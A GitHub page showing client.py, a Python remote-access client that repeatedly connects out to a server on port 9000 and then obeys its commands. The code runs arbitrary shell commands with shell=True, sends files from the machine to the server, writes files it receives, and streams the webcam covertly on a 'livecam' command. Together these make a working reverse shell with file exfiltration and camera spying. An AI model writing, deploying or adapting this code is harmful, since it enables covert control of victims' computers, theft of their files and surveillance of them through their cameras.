-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
165 lines (122 loc) · 3.29 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import socket
import os
import subprocess
import cv2
import threading
import pickle
import time
client = socket.socket()
IP = "localhost"
PORT = 9000
while True :
try :
client.connect((IP,PORT))
break
except:
time.sleep(1)
pass
end = False
def ext(socket ,vid):
global end
msg = socket.recv(10).decode().strip()
if msg == "end":
end = True
percent = int()
def send_file(socket,file_name):
client = socket
data = b''
file_size = os.stat(file_name).st_size
f = open(file_name,'rb')
data = f.read(file_size)
f.close()
file_size = os.stat(file_name).st_size
client.send(str(file_size).ljust(20).encode())
client.sendall(data)
def get_times(size):
times =0
max_size = 64*1024
no_iterations = size/max_size
if no_iterations <= 0:
times = 1
elif no_iterations <=20:
times = 10
else :
times = 64
return times
def get_file(client,filename):
global percent ,get_pwd
times = int()
file_size = client.recv(20).decode()
times = get_times(int(file_size))
data =b''
while True :
k = "="*int(percent//5)
st = k+">"
print("downloading.."+" "*20+"["+st.ljust(20)+"]"+str(len(data))+"/"+file_size,end="\r")
d = client.recv(times*1024)
if not d:
break
percent = len(data)*100//int(file_size)
data += d
u = len(data)
if u >= int(file_size):
data = data[:int(file_size)]
print("downloading.."+" "*20+"["+st.ljust(20)+"]"+str(len(data))+"/"+file_size,end="\r")
print()
break
with open(filename,'wb') as k:
k.write(data)
def live_cam(socket):
global end
client_socket = socket
vid = cv2.VideoCapture(0)
th = threading.Thread(target=ext,args=(client_socket,vid))
th.start()
while(vid.isOpened()):
img,frame = vid.read()
a = pickle.dumps(frame)
msg_len = str(len(a)).ljust(10).encode()
client_socket.sendall(msg_len+a)
if end :
vid.release()
#have to recive in multi thread
class terminal:
pwd =os.getcwd()
ter = os
sub = subprocess
def command(self,cmd):
out = ''
if 'cd' in cmd:
cmd = cmd.split()[-1]
try :
self.ter.chdir(str(cmd))
except :
out = "no such directory"
self.pwd = self.ter.getcwd()
else:
out1 = self.sub.Popen(cmd,stdout=subprocess.PIPE,shell =True)
out = out1.communicate()[0]
out = out.decode()
return out
ter = terminal()
while True:
client.send(str(len(ter.pwd)).ljust(10).encode())
client.send(ter.pwd.encode())
msg_len = int(client.recv(10).decode())
msg = client.recv(msg_len).decode()
if msg == "exit":
client.close()
break
if msg == "livecam":
live_cam(client)
elif "download" in msg :
file_name = msg.split("-")[1].strip()
send_file(client,file_name)
elif "upload" in msg:
file_name = msg.split("-")[1].strip()
get_file(client,file_name)
else:
out = ter.command(msg)
out_len = str(len(out)).ljust(10).encode()
client.send(out_len)
client.send(out.encode())